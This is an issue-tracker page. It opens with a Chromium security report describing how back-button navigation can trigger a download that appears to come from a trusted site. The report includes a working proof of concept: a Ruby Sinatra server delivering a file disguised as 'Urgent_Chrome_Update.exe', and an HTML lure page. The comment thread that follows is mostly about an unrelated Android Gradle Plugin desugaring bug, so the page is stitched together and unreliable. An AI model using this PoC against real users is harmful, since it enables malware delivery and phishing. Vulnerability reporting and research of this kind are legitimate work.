Fixed

Vulnerability

Status Update

No update yet.

Description

st...@gmail.com

created issue #1

Mar 6, 2024 03:51PM

Description

A vulnerability has been identified in the Chromium browser that allows the manipulation of navigation context. This security flaw directly impacts the user experience, as, after clicking on a link from a malicious site, using the browser's back function results in an arbitrary file being downloaded. The concerning aspect is that this download appears to come from a legitimate website, causing confusion and compromising the integrity of information.

The vulnerability manifests as follows:

A user accesses a link from a malicious website.
When using the back function in the Chromium browser, instead of returning to the previous page, an arbitrary download is initiated automatically.
The download deceptively simulates its origin from the current website, leading to confusion by incorrectly indicating that the file originated from the current page rather than the initial website the user navigated from.

Steps to Reproduce

Prerequisites: These steps are performed on the Windows operating system.

Steps performed by the attacker:

Set up the Ruby interpreter on your system, installing the Sinatra gem.
Create a directory named poc in a location of your choice.
Inside poc, create a file named server.rb with the following content:

require 'sinatra'

set :bind, ARGV[0]
set :port, ARGV[1].to_i

$redirect = false

get '/' do
  $redirect = true
  response.header['Cache-Control'] = 'no-store'
  redirect '/index.html'
end

get '/index.html' do
  response.header['Cache-Control'] = 'no-store'
  if $redirect
    $redirect = false
    File.read('index.html')
  else
    redirect 'data'
  end
end

get '/data' do
  headers 'Cache-Control' => 'no-store',
          'Content-type' => 'application/x-msdownload',
          'Content-Disposition' => 'attachment; filename=Urgent_Chrome_Update.exe'
  File.binread('malware')
end

In the same directory, create a file named index.html with the following content:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Back</title>
</head>
<body>
  <h1>POC SITE</h1>
  <a href="https://google.com">google.com</a>
</body>
</html>

Place a malicious file in the same directory, named malware.
Start the server by running ruby server.rb localhost 80 in a terminal emulator.

Steps performed by the victim:

Access the address "http://localhost" in your web browser.
Click on a link that redirects to google.com.
Subsequently, press the back button in the browser. You will observe that instead of returning to the original site, a file download is initiated, seemingly from the current site.
Pressing the back button again, you will notice how the information bubble indicates that www.google.com wants to download multiple files.

Watch the following proof-of-concept video demonstrating how this navigation context manipulation impacts not only file downloads but also system notifications. Deceptively, notification bubbles claim that the download originates from the legitimate website, despite being generated from the attacking site.

poc.mp4

Impact

Exploiting this vulnerability grants the attacker the ability to manipulate the navigation context, resulting in the inadvertent download of a malicious file, such as malware, instead of returning to the original website. This malicious action poses a considerable risk to the security and integrity of the victim's systems, as the user, expecting a return to the website, may be exposed to receiving a file designed to cause harm or compromise the device. Additionally, an additional layer of deception is added, as notification bubbles about the download falsify information, incorrectly indicating that the file originates from the current website rather than the one the user initially navigated from.

The successful exploitation of this vulnerability can have significant consequences, including:

Unauthorized file downloads on the user's device.
Confusion and loss of trust in the browser's security.
Possible execution of phishing attacks by convincing the user that the download comes from a reliable source.

poc.mp4

676 KB

Download

Comments

ad...@google.com <ad...@google.com> #2Mar 6, 2024 04:35PM

This looks like a regression from AGP 3.4 to AGP 3.5. Ian, can you have a first look?

st...@gmail.com <st...@gmail.com> #3
Restricted
Mar 6, 2024 04:43PM

Learn More

poc.png

Restricted

30 KB

View

Download

ad...@chromium.org <ad...@chromium.org> #4Mar 6, 2024 06:34PM

Assigned to qi...@chromium.org.

Reassigning to Ivan as this is looking like a build issue and I'm not sure if the project configuration needs changing or there is an error in the build system.

Running:

./gradlew :quickstartKotlin:assembleDebug --info

yields output with:
<snip>/.gradle/caches/transforms-2/files-2.1/a4e476e9d975337caa4d7a965148dce1/video-android-4.2.0/jars/classes.jar: D8: Type `org.webrtc.EglBase` was not found, it is required for default or static interface methods desugaring of `void com.twilio.video.EglBaseProvider.<init>()`

More info:

The application has a dependency on com.twilio:video-android:4.2.0 and it appears to include a copy of webrtc somehow. Found it locally in .gradle/caches/transforms-2/files-2.1/HASH/video-android-4.2.0/jars/libs/libwebrtc.jar

The definition of type com.twilio.video.EglBaseProvider in video-android-4.2.0 has an <init> with a static invoke to EglBase::create.

The interface org.webrtc.EglBase is defined in libwebrtc.jar

Outside of gradle, putting libwebrtc.jar in the program path or the classpath when compiling with D8 and a min-api to desugar default interface methods, the call to EglBase::create is correctly rewritten to EglBase$-CC::create.

cr...@chromium.org <cr...@chromium.org> #5Mar 6, 2024 06:54PM

As a workaround you can add "android.enableDexingArtifactTransform.desugaring=false" to gradle.properties.

In Android Gradle Plugin 3.5 we started dexing and desugaring using Gradle artifact transforms. This allows us to use Gradle caching and parallelism. The way we set up desugaring classpath is by using dependencies information from the POM file. In this case, "video-android-4.2.0" packages libwebrtc.jar inside the AAR and we fail to add those files to desugaring classpath. D8 is unable to resolve types and to rewrite invocation to the generated companion class.

ad...@google.com <ad...@google.com> #6Mar 6, 2024 09:59PM

Note, I am facing the same issue in an app that uses a library, lets call it libraryB, that make use of webrtc but I don't include webrtc.jar in libraryB, as I use implementation configuration for libraryB. I then generates an AAR of it and import this AAR as a module to make use of it on final app. Therefore in app's build.gradle file I also import webrtc as implementation.

I have attached an android project so you can reproduce this case. webrtclibAAR module is an AAR file generated by running gradle assemble task on webrtclib module

pe...@google.com <pe...@google.com> #7Mar 7, 2024 03:36PM

Continuing my last comment:

Also I've noticed that uploading libraryB to a Nexus Server instead of using AAR as a module works properly

pe...@google.com <pe...@google.com> #8Mar 7, 2024 03:37PM

The issue is that we need AAR to have POM alongside to contain all dependency information. When just dropping an AAR to an output directory, this information is lost. However, when publishing to a Maven repo, this information exists.

Also, this is not exactly the same issue as the original reporter reported, but I hope my answer helps :)

st...@gmail.com <st...@gmail.com> #9Mar 7, 2024 03:51PM

Our team found a fix for this issue. We manage the video-android dependency and had to build that AAR with the latest Gradle plugin (3.5.0). Once we did that, it resolved the crash. Thank you for looking into this problem though.

ad...@google.com <ad...@google.com> #10Mar 7, 2024 04:59PM

Never mind, this is still an issue. We found a false positive in our testing that led us to believe building video-android with gradle plugin 3.5.0 resolved the crash. It is definitely related to storing the AAR to our artifact repository in Bintray. As a sanity check we referenced the AAR locally and it works fine.

Also, thank you for sharing the workaround above! We tested adding that line to the quickstartKotlin's gradle.properties file and it resolved the crash. We'll use this as a temporary solution in the meantime.

(Used a different email address here, sorry for the confusion)

st...@gmail.com <st...@gmail.com> #11Mar 7, 2024 05:17PM

Also, are there plans to resolve dependencies that are packaged outside of what's specified in a POM file within the AAR? Or would we need to ensure that a POM file is always present defining dependencies like libwebrtc.jar? Our team would like to know so we can either prioritize this work or wait for the next release of the Gradle plugin. Thanks!

al...@chromium.org <al...@chromium.org> #12Mar 8, 2024 09:50PM

We will handle jars packaged under libs directory in an AAR, so there is no need to add those in the POM file. cmw@ fixed that in 3.6 (he can add more details when it got fixed), so that should work, and there is no need to add e.g. libwebrtc.jar to the POM file.

pe...@google.com <pe...@google.com> #13Mar 21, 2024 03:37PM

I think this is fixed in 3.6.0-alpha05 by

https://android.googlesource.com/platform/tools/base/+/f7f446e6c304b035e347eccd181e2b6ee4b16d97#
which merges all of the the libs jars from the AAR into one jar rather than exporting all of them separately, meaning that the classes in an AAR are all desugared together.

pe...@google.com <pe...@google.com> #14Apr 5, 2024 03:37PM

Great! Thank you for the update on this.

me...@google.com <me...@google.com> #15Jun 7, 2024 12:50AM

I'm afraid this is not solved yet. Before my last comment (

https://issuetracker.google.com/issues/140508065#comment6) I've tested it on Android Studio Canary with 3.6.0-alpha10, and I took the same error.

qi...@chromium.org <qi...@chromium.org> #16Jun 7, 2024 05:24PM

That is a subtly different issue, as you are not embedding the AAR. In general please file separate issues.

Your issue is that you've lost the dependency information by importing the aar as a subproject. I wish we didn't have a template for that as it leads to issues like this.

The way to solve your issue is to publish the AAR to e.g. a local maven repository so the dependency information is preserved and everything will work.

qi...@chromium.org <qi...@chromium.org> #17Jun 7, 2024 10:38PM

Any update on this? This still isn't resolved in 3.5.1 and I'm stuck on the older version still. Several people in this thread have the same issue and are waiting for this to be resolved.

https://github.com/twilio/video-quickstart-android/issues/430

na...@chromium.org <na...@chromium.org> #18Sep 4, 2024 09:51PM

See #13: This is not resolved in 3.5.1, it is resolved in 3.6.0-alpha05.

ap...@google.com <ap...@google.com> #19Sep 6, 2024 07:44PM

We're considering a cherry-pick for this for a subsequent 3.5.x

qi...@google.com <qi...@google.com> Oct 14, 2024 05:48PM

Marked as fixed.

pg...@google.com <pg...@google.com> #20Oct 14, 2024 09:12PM

That would be very helpful! The sooner the better.

st...@gmail.com <st...@gmail.com> #21Oct 14, 2024 09:48PM

We encountered the same issue when trying to add JAR file packaged with AAR as a local dependency.

Workaround "android.enableDexingArtifactTransform.desugaring=false" worked for us.

Then I tried 3.6.0-beta01 and 4.0.0-alpha01 and both versions didn't work - issue is still there.

am...@chromium.org <am...@chromium.org> #22Oct 16, 2024 02:05PM

Re #21:
Thanks for the report. Which artifact contains the interface with a default method, and where is the class that implements it defined? If you are able to share a sample project that would be great.

pe...@google.com <pe...@google.com> #23Nov 1, 2024 02:30AM

I was able to isolate the issue and make a demo project to reproduce it. Tested on Android Studio 3.6.0-beta01 with AGP 3.6.0-beta01 - issue is still reproducible.

Steps to reproduce:

1. Download and import attached project
2. There will be two modules: app and library
app depends on 'library' and on 'androidx.lifecycle:lifecycle-common-java8:2.1.0'
library depends on 'androidx.lifecycle:lifecycle-common-java8:2.1.0'
3. Initial sync will fail because app depends directly on generated AAR. This file would be generated by :library:assemble task inside the /library/build/outputs/aar/
Run ./gradlew :library:assemble to assemble the 'library' module
4. After library is assembled try Gradle Sync button again. Now it should sync just fine.
5. Create an emulator that runs pre-java8 API, I was testing on Nexus 5 API 21 (required to enable desugaring)
6. Run app on the emulator. Upon launch app will crash.
7. In app/build.gradle comment out this:
implementation(name: 'library-debug', ext: 'aar')
And uncomment this line:
implementation project(":library")
8. Try running app again. With this module dependency app will run fine and activity will be displayed.
9. Revert step #7 to make dependency to be 'aar' again
10. In gradle.properties uncomment following line
android.enableDexingArtifactTransform.desugaring=false
11. Try running app. With this workaround app will run fine.

Explanation of the bug cause:

- Lifecycler-common-java8 contains an interface DefaultLifecycleObserver with default implementation on 6 methods
- 'library' has a class 'MyCustomObserver : DefaultLifecycleObserver' which overrides only 2 methods from DefaultLifecycleObserver
- 'app' instantiates 'MyCustomObserver' in its Application onCreate() and attempts to call method on it which is NOT overridden in 'MyCustomObserver'

Checking the bytecode for the case when AAR is used I found that 'MyCustomObserver' would only have two methods in it.
In the bytecode for the module dependency (steps #7-8) 'MyCustomObserver' has 6 methods, where 4 of those are synthetic and pointing to static methods generated by D8 in the 'DefaultLifecycleObserver$-CC' class

To sum things up, it looks like D8 cannot figure out where to get 'DefaultLifecycleObserver' while processing 'MyCustomObserver' - because AAR doesn't have any dependencies - and therefore it doesn't generate any synthetic methods for it.

qk...@google.com <qk...@google.com> #24Nov 1, 2024 02:38AM

You've just described the issue in #16, not the original issue: if the AAR doens't come from a problject or a repository with dependency information it cannot be desugared correctly.

The supported way to do this is to distribute the AAR in a repository for your consumers. Alternatively avoid using java8 in libraries that you know will be shipped this way.

Ivan, do you think it's worth having a separate code path for file based AARs, like we do for jars to cover this case?

gm...@google.com <gm...@google.com> #25Nov 4, 2024 11:39PM

(Assign back to me for the original issue)

st...@gmail.com <st...@gmail.com> #26Nov 5, 2024 05:42PM

Chris, let's keep this bug focused on jars packaged inside AARs? I've filed

https://issuetracker.google.com/143744598 to discuss use case from #23.

ad...@google.com <ad...@google.com> #27Nov 6, 2024 10:44AM

We're missing an additional change to fix the named issue - specifically
--- a/build-system/gradle-core/src/main/java/com/android/build/gradle/internal/dependency/DexingTransform.kt
+++ b/build-system/gradle-core/src/main/java/com/android/build/gradle/internal/dependency/DexingTransform.kt
@@ -198,7 +198,7 @@ data class DexingArtifactConfiguration(
parameters.libConfiguration.set(libConfiguration)
}
}
- spec.from.attribute(ARTIFACT_FORMAT, AndroidArtifacts.ArtifactType.PROCESSED_JAR.type)
+ spec.from.attribute(ARTIFACT_FORMAT, AndroidArtifacts.ArtifactType.CLASSES.type)
if (needsShrinkDesugarLibrary) {
spec.to.attribute(ARTIFACT_FORMAT, AndroidArtifacts.ArtifactType.DEX_AND_KEEP_RULES.type)

fixes the issue as that means the new artifact transform is used.

I'll make the change.

ad...@google.com <ad...@google.com> #28Nov 6, 2024 10:47AM

This should be fixed in AGP 3.6.0-beta05

st...@gmail.com <st...@gmail.com> #29Nov 6, 2024 01:39PM

And AGP 4.0.0-alpha04

ap...@google.com <ap...@google.com> #30Nov 7, 2024 01:33AM

I still can reproduce issue that I believe related to this bug

Environment
- android studio 3.6.3
- android gradle plugin 3.6.3
- android webrtc 1.0.26885 (also tried 1.0.30039)
- compileSdkVersion 29, targetSdkVersion 29, minSdkVersion 21

Issue
Try to initiate audio voip calls, which fails because library "libjingle_peerconnection_so.so" (webrtc dependency) fails to create correct SDP (session description protocol) with supported media types.

Workarounds
- Workaround 1> Change project minSdkVersion to 24, really helped and issue fixed. but of course can't consider it as real fix
- Workaround 2> Setting flag android.enableDexingArtifactTransform.desugaring to false.

ap...@google.com <ap...@google.com> #31Nov 11, 2024 07:03PM

@30 this issue was marked as fixed back in November. I suggest you file a new issue.

sp...@google.com <sp...@google.com> #32Nov 15, 2024 06:55PM

Also, try Android Gradle plugin 4.0 and 4.1 and see if you get the same problem with those.

am...@chromium.org <am...@chromium.org> #33Nov 15, 2024 07:20PM

Congratulations! Thank you for your efforts and reporting this issue to us -- nice work!

st...@gmail.com <st...@gmail.com> #34Nov 15, 2024 09:22PM

Hello,

Thank you very much for considering this report as a valid security submission.

Best regards,
Stan.

pe...@google.com <pe...@google.com> #35Jan 21, 2025 03:49PM

This bug has been closed for more than 14 weeks. Removing issue access restrictions.

Issue 328278718

Description

Description

Steps to Reproduce

Impact

Issue summary

Comments

ad...@google.com <ad...@google.com> #2Mar 6, 2024 04:35PM

st...@gmail.com <st...@gmail.com> #3 Restricted Mar 6, 2024 04:43PM

ad...@chromium.org <ad...@chromium.org> #4Mar 6, 2024 06:34PM

cr...@chromium.org <cr...@chromium.org> #5Mar 6, 2024 06:54PM

ad...@google.com <ad...@google.com> #6Mar 6, 2024 09:59PM

pe...@google.com <pe...@google.com> #7Mar 7, 2024 03:36PM

pe...@google.com <pe...@google.com> #8Mar 7, 2024 03:37PM

st...@gmail.com <st...@gmail.com> #9Mar 7, 2024 03:51PM

ad...@google.com <ad...@google.com> #10Mar 7, 2024 04:59PM

st...@gmail.com <st...@gmail.com> #11Mar 7, 2024 05:17PM

al...@chromium.org <al...@chromium.org> #12Mar 8, 2024 09:50PM

pe...@google.com <pe...@google.com> #13Mar 21, 2024 03:37PM

pe...@google.com <pe...@google.com> #14Apr 5, 2024 03:37PM

me...@google.com <me...@google.com> #15Jun 7, 2024 12:50AM

qi...@chromium.org <qi...@chromium.org> #16Jun 7, 2024 05:24PM

qi...@chromium.org <qi...@chromium.org> #17Jun 7, 2024 10:38PM

na...@chromium.org <na...@chromium.org> #18Sep 4, 2024 09:51PM

ap...@google.com <ap...@google.com> #19Sep 6, 2024 07:44PM

qi...@google.com <qi...@google.com> Oct 14, 2024 05:48PM

pg...@google.com <pg...@google.com> #20Oct 14, 2024 09:12PM

st...@gmail.com <st...@gmail.com> #21Oct 14, 2024 09:48PM

am...@chromium.org <am...@chromium.org> #22Oct 16, 2024 02:05PM

pe...@google.com <pe...@google.com> #23Nov 1, 2024 02:30AM

qk...@google.com <qk...@google.com> #24Nov 1, 2024 02:38AM

gm...@google.com <gm...@google.com> #25Nov 4, 2024 11:39PM

st...@gmail.com <st...@gmail.com> #26Nov 5, 2024 05:42PM

ad...@google.com <ad...@google.com> #27Nov 6, 2024 10:44AM

ad...@google.com <ad...@google.com> #28Nov 6, 2024 10:47AM

st...@gmail.com <st...@gmail.com> #29Nov 6, 2024 01:39PM

ap...@google.com <ap...@google.com> #30Nov 7, 2024 01:33AM

ap...@google.com <ap...@google.com> #31Nov 11, 2024 07:03PM

sp...@google.com <sp...@google.com> #32Nov 15, 2024 06:55PM

am...@chromium.org <am...@chromium.org> #33Nov 15, 2024 07:20PM

st...@gmail.com <st...@gmail.com> #34Nov 15, 2024 09:22PM

pe...@google.com <pe...@google.com> #35Jan 21, 2025 03:49PM

Add comment

Issue metadata

st...@gmail.com <st...@gmail.com> #3
Restricted
Mar 6, 2024 04:43PM